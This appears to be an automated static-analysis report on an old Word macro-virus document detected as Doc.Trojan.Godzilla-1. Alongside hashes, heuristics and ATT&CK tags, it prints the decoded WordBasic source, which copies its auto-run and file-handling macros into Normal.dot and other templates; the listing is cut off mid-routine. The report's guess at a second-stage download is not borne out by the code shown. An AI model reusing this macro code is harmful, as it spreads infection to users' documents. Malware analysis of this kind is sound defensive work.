Doc.Trojan.Godzilla-1 — Office (OLE) malware analysis

Static analysis result for SHA-256 a5e4b2ec03aa4e01…

MALICIOUS

Office (OLE)

53.0 KB Created: 1997-10-03 11:23:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: e69045df8d821d0745469797a3cc35d1 SHA-1: 5987cf9246eb671aa509ec0512179ed540270249 SHA-256: a5e4b2ec03aa4e01c476e8915bc751e633071810b51d36e4d07961bb410aabd7
140 Risk Score

Malware Insights

Doc.Trojan.Godzilla-1 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is identified as malicious by ClamAV with the signature Doc.Trojan.Godzilla-1. Static analysis revealed the presence of legacy WordBasic macros, specifically an AutoOpen macro, which is a common technique for executing malicious code when a document is opened. The macro's intent appears to be to execute further malicious actions, potentially downloading or running a second-stage payload.

Heuristics 4

  • ClamAV: Doc.Trojan.Godzilla-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Godzilla-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8370 bytes
SHA-256: 87bd939d710409d4dc0b3105e7afd66f8b4396bf3653c370f733f432c5ea79f3
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "FichierOuvrir"

Public Sub MAIN()
Attribute MAIN.VB_Description = "Ouvre un document ou un modèle existant"
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.FichierOuvrir.MAIN"
On Error GoTo -1: On Error GoTo Fin
Dim dlg As Object: Set dlg = WordBasic.DialogRecord.FileOpen(False)
WordBasic.CurValues.FileOpen dlg
WordBasic.Dialog.FileOpen dlg
WordBasic.FileOpen dlg
WordBasic.Call "AutoOpen"
Fin:
Err.Number = 0
End Sub

Attribute VB_Name = "AutoOpen"

Public Sub MAIN()
Dim ReadOnly
Dim ExécSeul
Dim stat As Object
Dim Fichier$
Dim CheminFichier$
Dim Modèle$
Dim CheminModèle$
Dim NomModèle$
Dim ModèleExec$
Dim CheminModèleExec$
Dim NomModèleExec$
Dim Etat
Dim ModèleAttaché$
Dim i

' Rendre le virus un peu plus pénible
ReadOnly = 0
ExécSeul = 0

WordBasic.DisableAutoMacros
'On Error Goto Fin
If WordBasic.IsMacro() <> -1 Then
    Set stat = WordBasic.DialogRecord.DocumentStatistics(False)
    WordBasic.CurValues.DocumentStatistics stat

    Fichier$ = UCase(stat.FileName)
    CheminFichier$ = UCase(stat.Directory) + "\"

    Modèle$ = UCase(stat.Template)
    CheminModèle$ = UCase(WordBasic.[FileNameInfo$](Modèle$, 5))
    NomModèle$ = UCase(WordBasic.[FileNameInfo$](Modèle$, 3))

    ModèleExec$ = UCase(WordBasic.[MacroFileName$]())
    CheminModèleExec$ = UCase(WordBasic.[FileNameInfo$](ModèleExec$, 5))
    NomModèleExec$ = UCase(WordBasic.[FileNameInfo$](ModèleExec$, 3))

' Sauvegarde des macros dans le fichier modèle si le modèle actif et dans Normal.dot

    If NomModèleExec$ <> "NORMAL.DOT" Then
        WordBasic.MacroCopy ModèleExec$ + ":AutoOpen", "Global:AutoOpen", ExécSeul
        WordBasic.MacroCopy ModèleExec$ + ":AutoExec", "Global:AutoExec", ExécSeul
        WordBasic.MacroCopy ModèleExec$ + ":FichierEnregistrer", "Global:FichierEnregistrer", ExécSeul
        WordBasic.MacroCopy ModèleExec$ + ":FichierEnregistrerSous", "Global:FichierEnregistrerSous", ExécSeul
        WordBasic.MacroCopy ModèleExec$ + ":FichierEnregistrerTout", "Global:FichierEnregistrerTout", ExécSeul
        WordBasic.MacroCopy ModèleExec$ + ":FichierFermer", "Global:FichierFermer", ExécSeul
        WordBasic.MacroCopy ModèleExec$ + ":FichierOuvrir", "Global:FichierOuvrir", ExécSeul
        WordBasic.MacroCopy ModèleExec$ + ":FichierNouveau", "Global:FichierNouveau", ExécSeul
    End If

    If (Modèle$ <> ModèleExec$) And (NomModèle$ <> "NORMAL.DOT") Then

        WordBasic.FileTemplates Store:=0, Template:="", LinkStyles:=0
        Etat = GetAttr(Modèle$)
        SetAttr Modèle$, 0
        WordBasic.FileTemplates Store:=0, Template:=Modèle$, LinkStyles:=0

        WordBasic.MacroCopy ModèleExec$ + ":AutoOpen", Modèle$ + ":AutoOpen", ExécSeul
        WordBasic.MacroCopy ModèleExec$ + ":AutoExec", Modèle$ + ":AutoExec", ExécSeul
        WordBasic.MacroCopy ModèleExec$ + ":FichierEnregistrer", Modèle$ + ":FichierEnregistrer", ExécSeul
        WordBasic.MacroCopy ModèleExec$ + ":FichierEnregistrerSous", Modèle$ + ":FichierEnregistrerSous", ExécSeul
        WordBasic.MacroCopy ModèleExec$ + ":FichierEnregistrerTout", Modèle$ + ":FichierEnregistrerTout", ExécSeul
        WordBasic.MacroCopy ModèleExec$ + ":FichierFermer", Modèle$ + ":FichierFermer", ExécSeul
        WordBasic.MacroCopy ModèleExec$ + ":FichierOuvrir", Modèle$ + ":FichierOuvrir", ExécSeul
        WordBasic.MacroCopy ModèleExec$ + ":FichierNouveau", Modèle$ + ":FichierNouveau", ExécSeul
        WordBasic.SaveTemplate
        WordBasic.FileTemplates Store:=0, Template:="", LinkStyles:=0
        SetAttr Modèle$, Etat
        WordBasic.FileTemplates Store:=0, Template:=Modèle$, LinkStyles:=0
    End If

' Attache le modèle automatiquement dans le même répertoire que le fichier s'il existe

    If CheminFi
... (truncated)